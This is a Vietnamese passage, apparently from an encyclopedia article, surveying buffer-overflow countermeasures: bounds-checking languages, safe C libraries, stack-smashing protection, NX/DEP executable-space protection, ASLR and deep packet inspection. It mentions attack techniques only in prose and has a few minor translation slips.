Nhiều ngôn ngữ lập trình khác cung cấp việc kiểm tra tại thời gian chạy, việc kiểm tra này gửi một cảnh báo hoặc ngoại lệ khi C hoặc C++ ghi đè dữ liệu. Ví dụ về các ngôn ngữ này rất đa dạng, từ Python tới Ada, từ Lisp tới Modula-2, và từ Smalltalk tới OCaml. Các môi trường bytecode của Java và .NET cũng đòi hỏi kiểm tra biên đối với tất cả các mảng. Gần như tất cả các ngôn ngữ thông dịch sẽ bảo vệ chương trình trước các hiện tượng tràn bộ đệm bằng cách thông báo một trạng thái lỗi định rõ (well-defined error). Thông thường, khi một ngôn ngữ cung cấp đủ thông tin về kiểu để thực hiện kiểm tra biên, ngôn ngữ đó thường cho phép lựa chọn kích hoạt hay tắt chế độ đó. Việc phân tích tĩnh (static analysis) có thể loại được nhiều kiểm tra kiểu và biên động, nhưng các cài đặt tồi và các trường hợp rối rắm có thể giảm đáng kể hiệu năng. Các kỹ sư phần mềm phải cẩn thận cân nhắc giữa các phí tổn cho an toàn và hiệu năng khi quyết định sẽ sử dụng ngôn ngữ nào và cấu hình như thế nào cho trình biên dịch.
2. Sử dụng các thư viện an toàn
Vấn đề tràn bộ đệm thường gặp trong C và C++ vì các ngôn ngữ này để lộ các chi tiết biểu diễn mức thấp của các bộ nhớ đệm với vai trò các chỗ chứa cho các kiểu dữ liệu. Do đó, phải tránh tràn bộ đệm bằng cách gìn giữ tính đúng đắn cao cho các phần mã chương trình thực hiện việc quản lý bộ đệm. Việc sử dụng các thư viện được viết tốt và đã được kiểm thử, dành cho các kiểu dữ liệu trừu tượng mà các thư viện này thực hiện tự động việc quản lý bộ nhớ, trong đó có kiểm tra biên, có thể làm giảm sự xuất hiện và ảnh hưởng của các hiện tượng tràn bộ đệm. Trong các ngôn ngữ này, xâu ký tự và mảng là hai kiểu dữ liệu chính mà tại đó các hiện tượng tràn bộ đệm thường xảy ra; do đó, các thư viện ngăn chặn lỗi tràn bộ đệm tại các kiểu dữ liệu này có thể cung cấp phần chính của sự che chắn cần thiết. Dù vậy, việc sử dụng các thư viện an toàn một cách không đúng có thể dẫn đến tràn bộ đệm và một số lỗ hổng khác; và tất nhiên, một lỗi bất kỳ trong chính thư viện chính nó cũng là một lỗ hổng. Các cài đặt thư viện "an toàn" gồm The Better String Library, Arri Buffer API và Vstr. Thư viện C của hệ điều hành OpenBSD cung cấp các hàm hữu ích strlcpy strlcat, nhưng các hàm này nhiều hạn chế hơn nhiều so với các cài đặt thư viện an toàn đầy đủ.
Tháng 9 năm 2006, Báo cáo kỹ thuật số 24731 của hội đồng tiêu chuẩn C đã được công bố; báo cáo này mô tả một tập các hàm mới dựa trên các hàm vào ra dữ liệu và các hàm xử lý xâu ký tự của thư viện C chuẩn, các hàm mới này được bổ sung các tham số về kích thước bộ đệm.
3. Chống tràn bộ nhớ đệm trên stack
Stack-smashing protection là kỹ thuật được dùng để phát hiện các hiện tượng tràn bộ đệm phổ biến nhất. Kỹ thuật này kiểm tra xem stack đã bị sửa đổi hay chưa khi một hàm trả về. Nếu stack đã bị sửa đổ, chương trình kết thúc bằng một lỗi segmentation fault. Các hệ thống sử dụng kỹ thuật này gồm có Libsafe[4], StackGuard và các bản vá lỗi (patch) ProPolice gcc.
Chế độ Data Execution Prevention (cấm thực thi dữ liệu) của Microsoft bảo vệ thẳng các con trỏ tới SEH Exception Handler, không cho chúng bị ghi đè.
Có thể bảo vệ stack hơn nữa bằng cách phân tách stack thành hai phần, một phần dành cho dữ liệu và một phần cho các bước trả về của hàm. Sự phân chia này được dùng trong ngôn ngữ lập trình Forth, tuy nó không phải một quyết định thiết kế dựa theo tiêu chí an toàn. Nhưng dù sao thì đây cũng không phải một giải pháp hoàn chỉnh đối với vấn đề tràn bộ đệm, khi các dữ liệu nhạy cảm không phải địa chỉ trả về vẫn có thể bị ghi đè.
4. Bảo vệ không gian thực thi
Bảo vệ không gian thực thi là một cách tiếp cận đối với việc chống tràn bộ đệm. Kỹ thuật này ngăn chặn việc thực thi mã tại stack hay heap. Một kẻ tấn công có thể sử dụng tràn bộ đệm để chèn một đoạn mã tùy ý vào bộ nhớ của một chương trình, nhưng với bảo vệ không gian thực thi, mọi cố gắng chạy đoạn mã đó sẽ gây ra một ngoại lệ (exception).
Một số CPU hỗ trợ một tính năng có tên bit NX ("No eXecute" - "Không thực thi") hoặc bit XD ("eXecute Disabled" - "chế độ thực thi đã bị tắt" ). Khi kết hợp với phần mềm, các tính năng này có thể được dùng để đánh dấu các trang dữ liệu (chẳng hạn các trang chứa stack và heap) là đọc được nhưng không thực thi được.
Một số hệ điều hành Unix (chẳng hạn OpenBSD, Mac OS X) có kèm theo tính năng bảo vệ không gian thực thi (ví dụ W^X). Một số gói phần mềm tùy chọn bao gồm:
• PaX
• Exec Shield
• Openwall
Các biến thể mới của Microsoft Windows cũng hỗ trợ bảo vệ không gian thực thi, với tên gọi Data Execution Prevention (ngăn chặn thực thi dữ liệu) . Các phần mềm gắn kèm (Add-on) bao gồm:
• SecureStack
• OverflowGuard
• BufferShield
• StackDefender
Phương pháp bảo vệ không gian thực thi không chống lại được tấn công return-to-libc.
5. Ngẫu nhiên hóa sơ đồ không gian địa chỉ
Ngẫu nhiên hóa sơ đồ không gian địa chỉ (Address space layout randomization - ASLR) là một tính năng an ninh máy tính có liên quan đến việc sắp xếp vị trí các vùng dữ liệu quan trọng (thường bao gồm nơi chứa mã thực thi và vị trí các thư viện, heap và stack) một cách ngẫu nhiên trong không gian địa chỉ của một tiến trình.
Việc ngẫu nhiên hóa các địa chỉ bộ nhớ ảo mà các hàm và biến nằm tại đó làm cho việc khai thác một lỗi tràn bộ đệm trở nên khó khăn hơn, nhưng phải là không thể được. Nó còn buộc kẻ tấn công phải điều chỉnh khai thác cho hợp với từng hệ thống cụ thể, điều này làm thất bại cố gắng của các con sâu Internet. Một phương pháp tương tự nhưng kém hiệu quả hơn, đó là kỹ thuật rebase đối với các tiến trình và thư viện trong không gian địa chỉ ảo.
6. Kiểm tra sâu đối với gói tin
Biện pháp kiểm tra sâu đối với gói tin (deep packet inspection - DPI) có thể phát hiện các cố gắng từ xa để khai thác lỗi tràn bộ đệm ngay từ biên giới mạng. Các kỹ thuật này có khả năng chặn các gói tin có chứa chữ ký của một vụ tấn công đã biết hoặc chứa một chuỗi dài các lệnh No-Operation (NOP - lệnh rỗng không làm gì), các chuỗi như vậy thường được sử dụng khi vị trí của nội dung quan trọng (payload) của tấn công hơi có biến đổi.
Việc rà các gói tin không phải là một phương pháp hiệu quả vì nó chỉ có thể ngăn chặn các tấn công đã biết, và có nhiều cách để mã hóa một lệnh NOP. Các kẻ tấn công có thể đã sử dụng mã alphanumeric, metamorphic, và shellcode tự sửa để tránh bị phát hiện bởi việc rà gói tin.